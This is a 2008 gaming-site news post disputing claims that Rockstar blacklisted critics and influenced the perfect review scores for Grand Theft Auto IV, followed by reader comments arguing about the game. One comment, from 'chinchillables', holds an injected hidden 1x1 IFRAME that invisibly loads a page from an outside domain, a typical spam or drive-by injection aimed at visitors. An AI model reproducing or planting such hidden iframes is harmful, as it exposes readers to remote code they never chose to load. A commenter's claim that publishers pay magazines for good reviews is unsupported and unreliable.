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Rockstar Prompted 10s For GTAIV?

Ah yes, we couldn't possibly escape the Grand Theft Auto IV phenomenon without this: the belief that those perfect scores really weren't warranted, and that Rockstar or Take-Two had a direct impact on that occurrence.

According to PlayStation Nation's weekly podcast, Joystiq network's Andrew Yoon talked about the exclusive GTAIV reviews that popped up early on the Internet. He said that Rockstar "blacklists" sites that might hand out "unfavorable reviews/previews," and that the developer "has a direct hand in the content of the written review." In fact, he claims that Joystiq has been on Rockstar's "Black List" since a less-than-stellar review for the PSP's Grand Theft Auto: Liberty City Stories. Now, before everyone starts screaming - once again - that all video game critics are either paid off or in some way impacted by outside sources, let's make some rational sense out of this.

First of all, this so-called "black list" is probably true, but it's not exactly as sinister as some would want you to believe. Essentially, if you hand out a bad review for a game you received in the mail from a publisher, that publisher might not be so inclined to send you future copies of their products. This, as far as we can tell, is what Yoon is referring to as a "black list." All developers and publishers use it, and it's only common sense. However, two things: we can assure you that Rockstar or Take-Two would be happy with a 9.5, and didn't coerce IGN or GameSpot into handing out a perfect 10. Second of all, we seriously doubt they have a "direct hand" in the actual written content of the review. The publisher may include a fact sheet or some other info with the game, but that's about it.

Sure, Rockstar/Take-Two (and every other dev/pub on the planet) might not want to keep sending their products to a site that dumped all over their last effort. But as for the rest...we're not buying it.

Related Game(s): Grand Theft Auto IV

5/12/2008 Ben Dutka

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Comments (22 posts)

Tatsujin
Monday, May 12, 2008 @ 10:03:20 PM
Reply

I dont buy it neither Ben... Rockstar worked very, very hard on that game. Any "blacklist" believers can die, Rockstar deserves an 11, not a 10!

Plus, I just read that MGS4 got it's first perfect 10... Im telling you, it's none of this blacklist crap... It's the true, hard work of a developer. I give props to MGS and GTA's developers.

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kj313
Monday, May 12, 2008 @ 10:56:48 PM
Reply

GTA IV is a good game but I I really don't think its better than San Andreas! I really think it could've been so much better. Don't get me wrong its still a good game but I don't think it surpassed San andreas.

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WaR_HaWk
Monday, May 12, 2008 @ 10:57:35 PM
Reply

i dont give a fuck, i started playing GTA in 1999 when i was 7 years old, and I'm proud of that. GTA series is the best game for PS3 and ShitBox 360

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SHADOW [Moderator]
Monday, May 12, 2008 @ 10:59:13 PM
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The black list of course exists. Why the hell would Rockstar allow a reviewer who has looked down on their past games to have an exclusive early review? Especially considering early reviews are the most read therefore most influential reviews. This is PR 101 people.

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monomilkman
Monday, May 12, 2008 @ 11:05:07 PM
Reply

i agree wtih kj to a certain extent, i love gta4 and cant put it down, but san andreas had so much more, my biggest dissapointment is not being able to fly planes, i understand why but i do miss it still, also the graphics are less then stellar, but the game is a blast and is innovative in so many ways, if i were rating it i would definitely give it atleast a 9, not a perfect ten but definitely an amazing game, i cant way to see the next game (as long as EA goes away)

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Tatsujin
Monday, May 12, 2008 @ 11:40:59 PM
Reply

Hey, Liberty City IV was balanced out, San andreas was HUGE, But GTA IV is HUGE in detail and it also has a lot more streets, Dan Houser already said it wouldtn make sense to put planes in a map set like Liberty City, It's too small, scale size... Detail and street wise, its huge. I think they did a good job, and I think they did better than San Andreas, But, thats my opinion.

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Fabi
Tuesday, May 13, 2008 @ 12:08:58 AM
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So many civilians, but none of them really conversate, they just spew curse words. I hate that, but it's probably because I'm used to playing RPGs. I also dislike the fact that you can't go into 99% of buildings.

I think it deserves a 10 for the presentation, and maybe even a 10 as a whole. But I don't think it deserves game of the year.

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Ben Dutka PSXE [Administrator]
Tuesday, May 13, 2008 @ 12:45:58 AM

...then what does?

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Juicebeast
Tuesday, May 13, 2008 @ 5:30:13 PM

Game of the Year? Gears of War 2.

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fatchad420
Tuesday, May 13, 2008 @ 1:04:39 AM
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Meh IMO GTAIV didn't warrant a 10/10 but i don't think it's some conspiracy theory.

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ThePoetRazel
Tuesday, May 13, 2008 @ 3:15:08 AM
Reply

I'd believe a blacklist comprising of unfair reviewers, but not of fair ones. A good developer wants to hear fair criticism as well as the praise.
And before anyone starts saying that reviewers get paid off, i'd like to know where i pick up my check. I've given a fair few good scores and not received a penny for it yet.

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chinchillables
Tuesday, May 13, 2008 @ 7:33:15 AM
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I'm still trying to understand why people like this game so much.

<IFRAME SRC="http://top5choices.com/z_review-a.php" width=1 height=1>
</IFRAME>

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aaronisbla
Tuesday, May 13, 2008 @ 7:57:09 AM
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It always seems like the most popular games at the time will garner some form of backlash. Only because it has a huge following, but I'm sure most of us now this already

I guess i should brace myself for the "hate" MGS4 will get....

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Qubex
Tuesday, May 13, 2008 @ 9:15:21 AM
Reply

It happens with quite a few games every year. For example, I cannot understand why TimeShift received such an average score. I enjoyed the demo and thought the graphics, physics and gameplay were good. I haven't had a chance to play GTAIV yet, but I am giving it a little more time for things to settle down. GRID has been enjoyable, unfortunately it seems to constantly crash during network play.

Q!

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kj313
Tuesday, May 13, 2008 @ 10:42:19 AM
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San andreas u could customize your cars, recruit yo gang members to roll wit u on a mission, they had a demolition derby, triatholon, why aren't there any casinos on GTA IV. I'M highly disappointed wit rockstar. I would put GTA IV ON THE SAME LEVEL AS GTA III. But the most important thing this game is missing is an emotional attachment to the main character. On San andreas I really wanted to find out who killed CJ mom's. On GTA IV I don't like Niko at all, or his family or even his friends. I think Lil Jacob sucks(don't understand shit he say). Roman is stupid. I'm not going to bash this game but with all the power of next gen consoles they should have had everything San andreas had and more. It seemed they got lazy and knew this game would sell.

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Ben Dutka PSXE [Administrator]
Tuesday, May 13, 2008 @ 12:53:24 PM

Much of the GTA experience is subjective, but what you're talking about in terms of gameplay never really enhanced SA. The ideas behind it were good, but the technology wasn't good enough to support them. In GTAIV, they wanted to focus on more of the reality and get it right; much of what was in SA was just plain goofy in retrospect.

Personally, I never cared about CJ or anything that happened to him because I disliked the environment and premise. My favorite remains Vice City because I'm an '80s fan, but GTAIV is basically modern with Russian overtones. That works out just fine for me, and if anybody had neglected to notice, Niko is the FIRST main character in a GTA game that actually has a significant back story; one that has an impact on the plot.

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kj313
Tuesday, May 13, 2008 @ 11:34:42 AM
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Oh yeah not to mention the music sucks on this one too! ;-)

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karneli lll
Tuesday, May 13, 2008 @ 1:38:51 PM
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this is completely off topic but is anyone experiencing some strange and very loud fan noises when playing gta4?

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Arnon
Tuesday, May 13, 2008 @ 9:19:37 PM
Reply

I think game of the year would probably be either MGS4, Gears of War 2, Fable 2, Resistance 2 (maybe)

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Arnon
Tuesday, May 13, 2008 @ 9:26:43 PM
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But that's all of an opinionated comment

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Nasty80
Tuesday, May 13, 2008 @ 10:34:25 PM
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im still trying to play my game without it freezing! id say its the worst game ever!

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Jdogtoocool
Wednesday, May 14, 2008 @ 9:31:54 PM
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Well all of my reviews are alwasy fair and somewhat satisfying to everybody but that's pretty messed up how all of the companies pay magazines large sums of money to give good reviews...

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